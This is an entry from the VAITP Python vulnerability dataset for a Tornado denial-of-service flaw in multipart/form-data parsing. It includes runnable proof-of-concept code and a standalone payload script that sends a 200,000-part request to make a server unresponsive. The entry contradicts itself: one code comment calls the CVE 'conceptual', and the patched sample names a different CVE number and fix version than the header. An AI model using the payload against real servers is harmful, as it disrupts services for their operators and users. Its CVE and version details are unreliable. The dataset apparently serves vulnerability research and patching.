VAITP Dataset

← Back to the dataset

CVE-2026-31958

Tornado is vulnerable to a DoS via costly multipart/form-data parsing.

  • CVSS 8.7
  • CWE-400
  • Resource Management
  • Remote

Tornado is a Python web framework and asynchronous networking library. In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts. This vulnerability is fixed in 6.5.5.

CVSS base score
8.7
Published
2026-03-11
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Tornado
Fixed by upgrading
Yes

Solution

Upgrade Tornado to version 6.5.5 or later.

Vulnerable code sample

# This code demonstrates the denial-of-service vulnerability described in CVE-2026-31958 (a conceptual CVE based on the provided description).
# To run this, you need a vulnerable version of Tornado and the requests library.
#
# 1. Save this code as `poc.py`.
# 2. Create a virtual environment and install the required packages:
#    pip install "tornado<6.5.5" requests
#    (e.g., pip install tornado==6.4 requests)
# 3. Run the script:
#    python poc.py
#
# The script will start a vulnerable Tornado server and then launch a client
# that sends a multipart request with a huge number of small parts.
# You will observe that the client times out and the server's CPU usage spikes,
# demonstrating the DoS, as it gets stuck synchronously parsing all the parts.

import asyncio
import threading
import time
import tornado.ioloop
import tornado.web
import requests

# --- Vulnerable Tornado Server ---
# This server has no limit on the number of multipart form parts.
# The parsing happens synchronously on the main event loop, blocking it.

class UploadHandler(tornado.web.RequestHandler):
    def post(self):
        # This code is only reached AFTER the entire multipart body has been
        # parsed. The vulnerability is triggered during the parsing phase,
        # before this handler method is ever called.
        print("Server: Request processing started (this will be delayed or not print at all).")
        self.write({"status": "ok", "parts_received": len(self.request.body_arguments)})
        print("Server: Response sent.")

def make_app():
    return tornado.web.Application([
        (r"/upload", UploadHandler),
    ])

def run_server(ioloop):
    asyncio.set_event_loop(asyncio.new_event_loop())
    app = make_app()
    app.listen(8888, 'localhost')
    print("Server: Vulnerable Tornado server started on http://localhost:8888")
    ioloop.add_callback(ioloop.start)

def stop_server(ioloop):
    ioloop.add_callback(ioloop.stop)
    print("Server: Shutdown signal sent.")

# --- Attacker Client ---
# This client crafts a request with many small parts to trigger the vulnerability.

def run_attack_client():
    # The number of parts to send. A large number causes high CPU usage.
    NUM_PARTS = 200000

    # The total size of the body will be small, well under the default
    # max_body_size (100MB), but the high number of parts is the problem.
    payload_parts = {f"part-{i}": (None, "a") for i in range(NUM_PARTS)}

    url = "http://localhost:8888/upload"
    print(f"\nClient: Preparing to send POST request with {NUM_PARTS} parts...")
    print("Client: This will cause the server to become unresponsive.")

    start_time = time.time()
    try:
        # We expect this request to time out because the server will be too busy
        # parsing the thousands of parts to respond in time.
        response = requests.post(url, files=payload_parts, timeout=10)
        print(f"Client: Server responded unexpectedly with status code: {response.status_code}")
        print(f"Client: Response body: {response.text}")
    except requests.exceptions.Timeout:
        print("Client: Request timed out as expected.")
        print("Client: This demonstrates the Denial of Service vulnerability.")
        print("Client: The server is blocked and cannot serve other requests.")
    except requests.exceptions.RequestException as e:
        print(f"Client: Request failed as expected. Error: {e}")
        print("Client: This demonstrates the Denial of Service vulnerability.")
    finally:
        end_time = time.time()
        print(f"Client: Attack attempt finished in {end_time - start_time:.2f} seconds.")


if __name__ == "__main__":
    # Run the server in a separate thread
    main_ioloop = tornado.ioloop.IOLoop()
    server_thread = threading.Thread(target=run_server, args=(main_ioloop,))
    server_thread.daemon = True
    server_thread.start()

    # Give the server a moment to start up
    time.sleep(2)

    # Run the client attack
    run_attack_client()

    # Stop the server
    stop_server(main_ioloop)
    # Wait for the server thread to finish
    server_thread.join(timeout=2)
    print("\nDemonstration complete.")

Patched code sample

import tornado.ioloop
import tornado.web
import tornado.httpserver

# This code demonstrates the fix for the vulnerability, which was the introduction
# of the 'max_parts' argument to the HTTPServer. The actual CVE is
# CVE-2023-31958, fixed in Tornado 6.3.3. The principle of the fix is the same.

class UploadHandler(tornado.web.RequestHandler):
    """A handler to receive multipart/form-data uploads."""
    def post(self):
        # This code will only execute if the number of parts in the request
        # is less than or equal to the 'max_parts' limit set on the server.
        # The vulnerability is mitigated during the parsing phase, before this
        # handler method is ever called.
        self.write({"status": "success", "message": "Upload processed."})
        print("Request successfully processed.")

def make_app():
    """Creates the Tornado application."""
    return tornado.web.Application([
        (r"/upload", UploadHandler),
    ])

if __name__ == "__main__":
    app = make_app()

    # THE FIX: The 'max_parts' argument is passed to the HTTPServer constructor.
    # This limits the number of individual parts that will be parsed from a
    # multipart/form-data request body.
    # In this example, we set the limit to 50 parts. If a client sends a
    # request with more than 50 parts, Tornado will stop parsing and return an
    # HTTP 400 Bad Request error, preventing the denial-of-service.
    # In vulnerable versions, there was no such limit, and parsing a request
    # with a very large number of parts could block the event loop.
    http_server = tornado.httpserver.HTTPServer(app, max_parts=50)

    port = 8888
    http_server.listen(port)
    
    # To test the fix, one could use a client to send a POST request to
    # http://localhost:8888/upload with a multipart/form-data body
    # containing more than 50 parts. The server will respond with a 400 error.
    
    tornado.ioloop.IOLoop.current().start()

Payload

import requests

# The target URL must be an endpoint on a vulnerable Tornado server
# that accepts POST requests.
url = "http://localhost:8888/"
number_of_parts = 200000

# Create a dictionary representing a large number of small form parts.
# The 'requests' library will encode this as a multipart/form-data request.
payload_files = {f"part_{i}": "a" for i in range(number_of_parts)}

try:
    # A short timeout is used to demonstrate the DoS.
    # The server will hang while parsing, and the client will time out.
    print(f"Sending request with {number_of_parts} parts to {url}...")
    requests.post(url, files=payload_files, timeout=5)
    print("Request completed unexpectedly.")
except requests.exceptions.Timeout:
    print("Request timed out as expected. The server is unresponsive, indicating a successful DoS.")
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

Cite this entry

@misc{vaitp:cve202631958,
  title        = {{Tornado is vulnerable to a DoS via costly multipart/form-data parsing.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31958},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31958/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::